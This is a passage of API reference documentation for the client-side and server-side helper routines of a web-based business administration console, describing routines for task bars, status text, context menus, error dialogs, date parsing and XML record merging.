
When defining the DIV element for ListSheet HTC, specify this routine as the handler for the onContextClick event, as follows:

<DIV CLASS='listSheet' ID=...
     DataXML=...
     MetaXML=...
     ...
     OnContextClick='execTaskFromContextItem()'
     ...>
     Loading...
</DIV>

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

clickContextMenuItem (client-side)

closeContextMenu (client-side)

showContextMenu (client-side)

toggleContextMenuHighlight (client-side)

execDefaultTask (client-side)

Server-Side Routines


FinishWithXMLSecurityError (server-side)

Use this routine on an XML response page to return the XML security error and discontinue processing of the page (Response.End).

Definition

sub FinishWithXMLSecurityError()

Parameters

None.

Return Value

This routine returns XML text containing the XML security error.

Remarks

This routine is available in the include file ServerSecurityUtil.asp.

See Also

Client-Side Routines


GetTemp (client-side)

Use this routine to retrieve a value or object from the Client State Dictionary stored in the parent frame. A specific key is passed as a parameter to identify the value or object.

Definition

function GetTemp(sName)

Parameters

sName
A string used as the key of the value or object to be retrieved from the Client State Dictionary.

Return Value

The value or object being retrieved from the Client State Dictionary. If the key is not found, Nothing is returned.

Remarks

This routine is only available after the taskbar has been inserted by invoking either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

ClearTemp (client-side)

SetTemp (client-side)

Server-Side Routines


HideFindBy (client-side)

Use this routine to hide the find pane.

Definition

sub HideFindBy()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

ShowFindBy (client-side)

ToggleFindBy (client-side)

SetFindByHeight (client-side)

Server-Side Routines


HideStatusAnimation (client-side)

Use this routine to hide the status animation icon and the text in the status area.

Definition

sub HideStatusAnimation()

Parameters

None.

Return Value

None.

Remarks

This routine is called automatically by the taskbar upon loading.

You may want to show the status animation while the page is busy, and then use this routine to hide it again when the page becomes idle.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

ClearStatusText (client-side)

HideStatusLegend (client-side)

SetStatusText (client-side)

Server-Side Routines


HideStatusLegend (client-side)

Use this routine to hide the status legend in the status area.

Definition

sub HideStatusLegend()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

ClearStatusText (client-side)

HideStatusAnimation (client-side)

SetStatusText (client-side)

Server-Side Routines


HideWaitDisplay (client-side)

Use this routine to hide the wait display.

Definition

sub HideWaitDisplay()

Parameters

None.

Return Value

None.

Remarks

This routine is called automatically by the taskbar upon loading.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

SetWaitDisplayText (client-side)

ShowWaitDisplay (client-side)

Server-Side Routines


nGetDay (client-side)

Use this routine to retrieve the day portion of a specified date string, returned as a number between 1 and 31.

Definition

function nGetDay(sValue)

Parameters

sValue
A string containing a date in the format indicated by the g_sMSCSDateFormat global variable, from which the day is retrieved.

Return Value

A number representing the day portion of the specified date string. A return value of –1 indicates an error.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

bIsDate (client-side)

dtGetDate (client-side)

nGetMonth (client-side)

nGetYear (client-side)

sGetFormattedDate (client-side)

Server-Side Routines


nGetMonth (client-side)

Use this routine to retrieve the month portion of a specified date string, returned as a number between 1 and 12.

Definition

function nGetMonth(sValue)

Parameters

sValue
A string containing a date in the format indicated by the g_sMSCSDateFormat global variable, from which the month is retrieved.

Return Value

A number representing the month portion of the specified date string. A return value of –1 indicates an error.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

bIsDate (client-side)

dtGetDate (client-side)

nGetDay (client-side)

nGetYear (client-side)

sGetFormattedDate (client-side)

Server-Side Routines


nGetYear (client-side)

Use this routine to retrieve the year portion of a specified date string, returned as a four-digit number.

Definition

function nGetYear(sValue)

Parameters

sValue
A string containing a date in the format indicated by the g_sMSCSDateFormat global variable, from which the year is retrieved.

Return Value

A number representing the year portion of the specified date string. A return value of –1 indicates an error.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

bIsDate (client-side)

dtGetDate (client-side)

nGetDay (client-side)

nGetMonth (client-side)

sGetFormattedDate (client-side)

Server-Side Routines


OpenEditPage (client-side)

Use this routine to display a nested edit page in a new frame, hiding the frame of the calling edit page. This routine also records the callback routine to be invoked when the nested edit page is closed.

Definition

sub OpenEditPage(sPage,
                 fnCallback)

Parameters

sPage
The URL of the nested edit page, including any appended arguments. The URL can be relative or absolute.
fnCallback
The name of a callback routine to be invoked when the nested edit page is closed.

Return Value

None.

Remarks

Since this routine does not support posting to a form, any arguments needed by the nested edit page must be appended to its URL.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

OpenHelp (client-side)

dGetServerState (client-side)

dSetServerState (client-side)

dClearServerState (client-side)

Server-Side Routines


OpenHelp (client-side)

Use this routine to open the help window to the specified topic.

Definition

sub OpenHelp(sHelpTopicPage)

Parameters

sHelpTopicPage
The (pathless) name of the help topic page in the folder 'bizdesk\docs\htm'.

Return Value

None.

Remarks

If the topic string is empty, the help window is opened to the initial page.

The name of the help topic page must include the '.htm' extension.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

Server-Side Routines


RemoveClass (client-side)

Use this routine to remove a class from the space-delimited list of classes associated with the className attribute of a specific HTML element.

Definition

sub RemoveClass(elItem,
                sClass)

Parameters

elItem
The HTML element for which the specified class will be removed.
sClass
A string containing the name of the class to be removed from the specified HTML element.

Return Value

None.

Remarks

The specified class is removed from the existing set of classes without affecting any of the other classes.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

AddClass (client-side)

bHasClass (client-side)

ReplaceClass (client-side)

Server-Side Routines


ReplaceClass (client-side)

Use this routine to replace one class with another class in the space-delimited list of classes associated with the className attribute of a specific HTML element.

Definition

sub ReplaceClass(elItem,
                 sOldClass,
                 sNewClass)

Parameters

elItem
The HTML element for which a new class will replace an existing class.
sOldClass
A string containing the name of the class being replaced in the specified HTML element.
sNewClass
A string containing the name of the class to replace the class specified by the sOldClass parameter.

Return Value

None.

Remarks

The new class replaces the specified old class without affecting any other existing classes.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

AddClass (client-side)

bHasClass (client-side)

RemoveClass (client-side)

Server-Side Routines


ResetSaveBtns (client-side)

Enables or disables the save buttons (Save, SaveBack, and SaveNew) based on the current dirty, valid, and required states.

Definition

sub ResetSaveBtns()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is automatically called by the routines SetDirty, SetRequired, and SetValid after they update their corresponding flags.

If the page is not marked as dirty and all required data is present and valid, the save buttons are enabled. Otherwise they are disabled.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

SetDirty (client-side)

SetRequired (client-side)

SetValid (client-side)

Server-Side Routines


SetDirty (client-side)

Use this routine to set the dirty flag for the page and set a confirmation message to be displayed in the event that the page is closed without having been saved.

Definition

sub SetDirty(sConfirmMsg)

Parameters

sConfirmMsg
A string containing a confirmation message phrased as "Save XXX before exiting?" For example, "Save product description before exiting?"

Return Value

None.

Remarks

There are three common ways in which this routine can be called:

  • Directly from script code on the page when the page logic determines that something must be saved before the page is closed.
  • As the handler of the OnChange event of the master EditSheet for the page (set as an attribute of the container element of the EditSheet HTC):
    onchange='SetDirty("Save product description before exiting?")'
  • From within the handler of the OnChange event of the master EditSheet for the page.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

SetRequired (client-side)

SetValid (client-side)

Server-Side Routines


SetFindByHeight (client-side)

This routine sets the height of the find pane to the specified number of pixels.

Definition

sub SetFindByHeight(nNewHeight)

Parameters

nNewHeight
An integer that specifies a new height, in pixels, for the find pane.

Return Value

None.

Remarks

The default height of the find pane is 55 pixels.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

HideFindBy (client-side)

ShowFindBy (client-side)

Server-Side Routines


SetPageTitleText (client-side)

Use this routine to display specific text in the title bar of the page.

Definition

sub SetPageTitleText(sText)

Parameters

sText
A string containing text to be displayed in the title bar of the page.

Return Value

None.

Remarks

The page title to be displayed cannot contain HTML tags.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

SetStatusText (client-side)

SetWaitDisplayText (client-side)

Server-Side Routines


SetPubRequired (client-side)

Use this routine to set the "publication required" flag so that a warning dialog displays if the user exits Business Desk without publishing the data changes.

Definition

sub SetPubRequired(sModule,
                   bRequired)

Parameters

sModule
A string that contains the name of the module for which the "publication required" flag will be set.
bRequired
A Boolean value that specifies whether or not publication is required. A value of True indicates that data changes requiring publication have been made. A value of False indicates that no such changes have been made since the last publication operation.

Return Value

None.

Remarks

Normally, this routine should be called with the bRequired parameter set to True when data changes requiring publication have been made, and called with the bRequired parameter set to False after a publication operation.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

bGetPubRequired (client-side)

Server-Side Routines


SetRequired (client-side)

Use this routine to set the required flag for the page and set a warning message to be displayed in the event that an attempt is made to save the page when one or more required fields are empty.

Definition

sub SetRequired(sWarnMsg)

Parameters

sWarnMsg
A string containing a warning message phrased as "You have made incomplete changes to properties. Click 'OK' to discard the changes and exit."

Return Value

None.

Remarks

There are two common ways in which this routine can be called:

  • As the handler of the OnRequire event of the master EditSheet for the page (set as an attribute of the container element of the EditSheet HTC):
    sWarnMsg = "You have made incomplete changes to properties. " & _
           "Click 'OK' to discard the changes and exit."
. . .
onrequire="SetRequired(sWarnMsg)"
  • From within the handler of the OnRequire event of the master EditSheet for the page.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

SetDirty (client-side)

SetValid (client-side)

Server-Side Routines


SetStatusText (client-side)

Use this routine to display the specified text in the status area of the page.

Definition

sub SetStatusText(sText)

Parameters

sText
A string containing a status message to be displayed in the status area.

Return Value

None.

Remarks

The status message to be displayed cannot contain HTML tags.

Any status text displayed is automatically cleared after approximately 10 seconds.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

ClearStatusText (client-side)

HideStatusAnimation (client-side)

HideStatusLegend (client-side)

Server-Side Routines


SetTaskTooltip (client-side)

Use this routine to set a new tooltip for a specific task.

Definition

sub SetTaskTooltip(sID,
                   sTooltip)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.
sTooltip
A string containing the new tooltip to be associated with the specified task.

Return Value

None.

Remarks

This routine sets the title attribute of the specified task element to the specified string. This string is displayed as the tooltip for the associated task button.

The string passed as the sTooltip parameter should not contain any HTML markup directives.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

SetPageTitleText (client-side)

SetStatusText (client-side)

SetWaitDisplayText (client-side)

Server-Side Routines


SetTemp (client-side)

Use this routine to save a value or object in the Client State Dictionary stored in the parent frame.

Definition

sub SetTemp(sName,
            oValue)

Parameters

sName
A string used as the dictionary key for the value to be stored. This key is used for retrieval of the value at a later time.
oValue
Any Variant value (string, numeric, array, object, and so on) to be stored in the Client State Dictionary for later retrieval.

Return Value

None.

Remarks

If another value with the specified key already exists in the dictionary, it is overwritten with the new value.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

ClearTemp (client-side)

GetTemp (client-side)

Server-Side Routines


SetValid (client-side)

Use this routine to set the valid flag for the page and set a warning message to be displayed in the event that an attempt is made to save the page when one or more fields have values that are not valid.

Definition

sub SetValid(sWarnMsg)

Parameters

sWarnMsg
A string containing a warning message phrased as "You have made incomplete changes to properties. Click 'OK' to discard the changes and exit."

Return Value

None.

Remarks

There are two common ways in which this routine can be called:

  • As the handler of the OnValid event of the master EditSheet for the page (set as an attribute of the container element of the EditSheet HTC):
    sWarnMsg = "You have made incomplete changes to properties. " & _
           "Click 'OK' to discard the changes and exit."
. . .
onvalid="SetValid(sWarnMsg)"
  • From within the handler of the OnValid event of the master EditSheet for the page.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

SetDirty (client-side)

SetRequired (client-side)

Server-Side Routines


SetWaitDisplayText (client-side)

Use this routine to set new text in the wait display.

Definition

sub SetWaitDisplayText(sWaitText)

Parameters

sWaitText
A string that contains the new text to be displayed.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

HideWaitDisplay (client-side)

ShowWaitDisplay (client-side)

SetStatusText (client-side)

Server-Side Routines


sFormatString (client-side)

Use this routine to insert arguments into a string in a manner similar to that used by the C++ printf function. It is useful for formatting strings in a way that is much easier to localize than some other hard-coded methods.

Definition

function sFormatString(byVal sFormat,
                             aArgs)

Parameters

sFormat

A string containing a combination of text and sequentially-numbered variables in the format %1, %2, and so forth. These variables are replaced with the elements from the corresponding positions in the aArgs array.

aArgs
An array of strings to be inserted into the string specified by the sFormat parameter, in the positions of the sequentially-numbered variables. Any extra arguments are ignored, and any extra variables in the string remain unchanged.

Return Value

A string containing the contents of the sFormat parameter with the appropriate substitutions performed.

Remarks

The following example shows how the string "A and B" is returned and assigned to the variable sFormattedString:

sFormattedString = sFormatString("%1 and %2", Array("A", "B"))

The returned string can easily be changed to "B and A" by changing the format string to "%2 and %1" (without changing the array).

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

The sFormat parameter is passed by value so that the original string is not modified.

This routine is available in the include file ActionPageUtil.asp.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sGetFormattedDate (client-side)

Server-Side Routines

sFormatString (server-side)


sGetFormattedDate (client-side)

Use this routine to create a date string out of integer values representing the day, month, and year. The string returned is in the default locale format.

Definition

function sGetFormattedDate(nYear,
                           nMonth,
                           nDay)

Parameters

nYear
A number representing the year portion of the date being constructed.
nMonth
A number representing the month portion of the date being constructed.
nDay
A number representing the day portion of the date being constructed.

Return Value

A string containing the constructed date, or an empty string if a valid date string could not be constructed.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

bIsDate (client-side)

dtGetDate (client-side)

nGetDay (client-side)

nGetMonth (client-side)

nGetYear (client-side)

Server-Side Routines


sGetScriptError (client-side)

Use this routine to format particular properties of the global Microsoft Visual Basic Scripting Edition (VBScript) Err object into an HTML table. The table includes the following property values from the object, in the order shown: ASPCode, number, description, source, fileName, and lineNumber. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine ShowErrorDlg.

Definition

function sGetScriptError(oErr)

Parameters

oErr
The VBScript Err object to be formatted.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The following is an example of the table to be displayed.

Script Error
Number | 0x345
Description | xxx
Source | xxx
Help file | xxx
Help context | xxx

This routine is available in the include file ActionPageUtil.asp.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sGetXMLError (client-side)

ShowErrorDlg (client-side)

Server-Side Routines

sGetADOError (server-side)

sGetASPError (server-side)

sGetErrorById (server-side)

sGetScriptError (server-side)

sGetXMLError (server-side)


sGetXMLError (client-side)

Use this routine to format particular properties of the XMLDOMParseError object into an HTML table. The table includes the following property values from the object, in the order shown: errorCode, filePos, line, linePos, reason, srcText, and URL. The table is returned as an HTML-formatted string. This routine is typically called to construct a string to use as the sErrorDetail parameter of the routine ShowErrorDlg.

Definition

function sGetXMLError(oXMLDocParseError)

Parameters

oXMLDocParseError
The XMLDOMParseError object to be formatted.

Return Value

A string containing the HTML that displays the formatted table.

Remarks

The XMLDOMParseError object is retrieved by calling the parseError method of an XML document.

The following is an example of the table to be displayed.

XML Error
Error code | 123
File pos | 456
Line | 789
Line pos | 123
Source text | xxx
URL | xxx

This routine is available in the include file ActionPageUtil.asp.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sGetScriptError (client-side)

ShowErrorDlg (client-side)

Server-Side Routines

sGetADOError (server-side)

sGetASPError (server-side)

sGetErrorById (server-side)

sGetScriptError (server-side)

sGetXMLError (server-side)


showContextMenu (client-side)

Displays a right-click context menu under the current mouse position. This routine should be set as the value of the onContextMenu attribute for the element to which you want to attach a context menu.

Definition

sub showContextMenu(elContextMenu,
                    sWidth)

Parameters

elContextMenu
An element formatted as a context menu.
sWidth
A string that contains a number specifying the width of the context menu. This value can contain a "px" unit suffix.

Return Value

None.

Remarks

For more information about how context menus are configured, see MenuControl.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

clickContextMenuItem (client-side)

closeContextMenu (client-side)

execTaskFromContextMenu (client-side)

toggleContextMenuHighlight (client-side)

Server-Side Routines


ShowErrorDlg (client-side)

Use this routine to display an error dialog box. The passed strings and error type specify the details of the error.

Definition

sub ShowErrorDlg(sErrorTitle,
                 sFriendlyError,
                 sErrorDetails,
                 nErrorType)

Parameters

sErrorTitle
A string to be displayed in the title bar of the error dialog box.
sFriendlyError
A string containing a plain-language description of the error that has been encountered.
sErrorDetails
A string containing details about the error that has been encountered, often formatted as an HTML table using one of the error formatting routines: sGetScriptError or sGetXMLError. This string can also be formatted using other methods.
nErrorType
A number that corresponds to the severity of the error, and which determines the type of icon displayed in the error dialog box. See Remarks for more information about constants provided for use as this parameter.

Return Value

None.

Remarks

The following constants are provided as the valid values for the nErrorType parameter:

ERROR_ICON_ALERT, ERROR_ICON_CRITICAL,

ERROR_ICON_INFORMATION, ERROR_ICON_QUESTION

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

sGetScriptError (client-side)

sGetXMLError (client-side)

Server-Side Routines

SetError (server-side)


ShowFindBy (client-side)

Use this routine to show the find pane.

Definition

sub ShowFindBy()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

HideFindBy (client-side)

SetFindByHeight (client-side)

ToggleFindBy (client-side)

Server-Side Routines


showPermissionsDialog (client-side)

Use this routine to display the permissions dialog box.

Definition

function showPermissionsDialog(sEntityID,
                               sElementID,
                               sRightID,
                               sEntityName,
                               sElementName,
                               sRightName)

Parameters

sEntityID
A string that specifies the ID of the entity for which the permissions dialog is displayed.
sElementID
A string that specifies the ID of the element for which the permissions dialog is displayed.
sRightID
A string that specifies the ID of the right for which the permissions dialog is displayed.
sEntityName
A string that specifies the display name of the entity for which the permissions dialog is displayed.
sElementName
A string that specifies the display name of the element for which the permissions dialog is displayed.
sRightName
A string that specifies the display name of the right for which the permissions dialog is displayed.

Return Value

The string returned from the routine showModalDialog.

Remarks

When changes are made in the Permissions dialog, they are automatically saved using WebDAV.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

ShowErrorDlg (client-side)

Server-Side Routines


ShowWaitDisplay (client-side)

Use this routine to show the wait display.

Definition

sub ShowWaitDisplay()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

HideWaitDisplay (client-side)

SetWaitDisplayText (client-side)

Server-Side Routines


ShowXMLNodeErrors (client-side)

Use this routine to display information from XML error nodes in error dialog boxes.

Definition

sub ShowXMLNodeErrors(xmlErrorNodes)

Parameters

xmlErrorNodes
A collection of error nodes from an XML document.

Return Value

None.

Remarks

This routine displays one error dialog box per error node.

This routine expects XML in the format output by the server routine AddErrorNode. Usually that routine is used to add error nodes to return XML in response to a ListSheet XMLHTTP operation or a form post from the routine xmlPostFormViaXML.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

xmlPostFormViaXML (client-side)

Server-Side Routines

AddErrorNode (server-side)


sMergeGroups2 (client-side)

Use this routine to merge two sets of XML records containing different information about the same entities, returning the result as a string containing XML tagging.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. The other set of records, known as the detail set, contains more detailed information about the same set of entities. Both sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing two tiers. The first tier contains the higher-level information, and the second tier contains the detailed information.

Definition

function sMergeGroups2(xmlMaster,
                       xmlDetail,
                       sKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are presumably considered to contain higher-level information.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are presumably considered to contain more detailed information.
sKeyId
A string that corresponds to the name of a field element that exists in both of the XML documents passed as the other parameters. The values for this element are used to match up records from one XML document with the records in the other.

Return Value

A string that contains the merged, two-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a two-tiered XML data record structure for use by a two-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in file bizdesk.asp is called using the "parent." notation.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sMergeGroups3 (client-side)

xmlMergeGroups2 (client-side)

xmlMergeGroups3 (client-side)

xmlMergeGroupsByID2 (client-side)

xmlMergeGroupsByID3 (client-side)

Server-Side Routines

sMergeGroups2 (server-side)


sMergeGroups3 (client-side)

Use this routine to merge three sets of XML records containing different information about the same entities, returning the result as a string containing XML tagging.

One set of records, known as the master set, contains higher-level information about each entity represented in the set. A second set of records, known as the group set, contains more detailed information about the same set of entities. A third set of records, known as the detail set, contains the most detailed information about the same set of entities. All three sets of records are contained in XML documents.

The records from each set are matched up and merged into a resulting set of records containing three tiers. The first tier contains the higher-level information, the second tier contains the group level of detail, and the third tier contains the most detailed information.

Definition

function sMergeGroups3(xmlMaster,
                       xmlGroup,
                       xmlDetail,
                       sMasterKeyId,
                       sDetailKeyId)

Parameters

xmlMaster
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the first tier of the resulting standard XML data record format, and are presumably considered to contain higher-level information.
xmlGroup
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the second tier of the resulting standard XML data record format, and are presumably considered to contain information of a medium level of detail.
xmlDetail
An XML DOMDocument object containing a set of record elements and associated data elements in the standard XML data record format. These record elements contain the data that appears in the third tier of the resulting standard XML data record format, and are presumably considered to contain the most detailed information.
sMasterKeyId
A string that corresponds to the name of a data element that exists in both the xmlMaster and xmlGroup XML documents. The values for this element are used to match up records in one XML document with records in the other.
sDetailKeyId
A string that corresponds to the name of a data element that exists in both the xmlGroup and xmlDetail XML documents. The values for this element are used to match up records in one XML document with records in the other.

Return Value

A string that contains the merged, three-tiered set of records, represented in the standard XML data record format.

Remarks

This routine is useful for preparing a three-tiered XML data record structure for use by a three-level ListSheet HTC. For more information about how the ListSheet HTC expects its data in one-, two-, and three-tiered data record structures, see ListSheet and HTML Component Data Representation.

For more information about how single-tiered XML data record structures are merged to created two- and three-tiered XML data record structures, see XML Data Merging.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in file bizdesk.asp is called using the "parent." notation.

There is a functionally equivalent version of this routine defined for server-side use in the file ASPUtil.asp.

See Also

Client-Side Routines

sMergeGroups2 (client-side)

xmlMergeGroups2 (client-side)

xmlMergeGroups3 (client-side)

xmlMergeGroupsByID2 (client-side)

xmlMergeGroupsByID3 (client-side)

Server-Side Routines

sMergeGroups3 (server-side)


toggleContextMenuHighlight (client-side)

Toggles the highlight for a context menu item. Use this routine as the value of the onHighlight and onUnhighlight attributes of a context menu element.

Definition

sub toggleContextMenuHighlight()

Parameters

None.

Return Value

None.

Remarks

For more information about how context menus are configured, see MenuControl.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

clickContextMenuItem (client-side)

closeContextMenu (client-side)

execTaskFromContextMenu (client-side)

showContextMenu (client-side)

Server-Side Routines


ToggleFindBy (client-side)

Use this routine to display or hide the find pane to the opposite of its current display state. In other words, if it is currently hidden, display it, and if it is currently displayed, hide it.

Definition

sub ToggleFindBy()

Parameters

None.

Return Value

None.

Remarks

This routine toggles the display state of the find pane by calling either the ShowFindBy routine or the HideFindBy routine, depending on the current state.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

HideFindBy (client-side)

ShowFindBy (client-side)

SetFindByHeight (client-side)

Server-Side Routines


ToggleTask (client-side)

Use this routine to toggle the enabled/disabled state of a task, changing it from enabled to disabled, or from disabled to enabled. The button for the task reflects the changed state, dimming when disabled.

Definition

sub ToggleTask(sID)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.

Return Value

None.

Remarks

This routine toggles the enabled/disabled state of the task by calling either the EnableTask routine or the DisableTask routine, depending on the current state.

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

DisableTask (client-side)

EnableAllTasks (client-side)

EnableTask (client-side)

Server-Side Routines


xmlGetSiteTermsValue (client-side)

Use this routine to display the Site Terms Picker dialog box using a specific site terms property. A default selection can be supplied.

Definition

function xmlGetSiteTermsValue(xmlSiteTermNode,
                              sSelected)

Parameters

xmlSiteTermNode
A site terms PROPERTY element (an XML XMLDOMElement object), with its choices as subordinate ATTRIBUTE elements (also XML XMLDOMElement objects).
sSelected
A string that is matched against the displayvalue attribute of each child ATTRIBUTE element. If a match is found, that attribute initially displays as selected.

Return Value

The site terms ATTRIBUTE element (an XML XMLDOMElement object) selected by the user.

Remarks

To prevent an initial selection in the Site Terms Picker dialog box, pass a string for the sSelected parameter that does not match the displayname attribute of any of the ATTRIBUTE elements within the specified PROPERTY element.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

Server-Side Routines


xmlGetXMLDOMDoc (client-side)

Use this routine to create an XML DOMDocument object with an empty documentElement property.

Definition

function xmlGetXMLDOMDoc()

Parameters

None.

Return Value

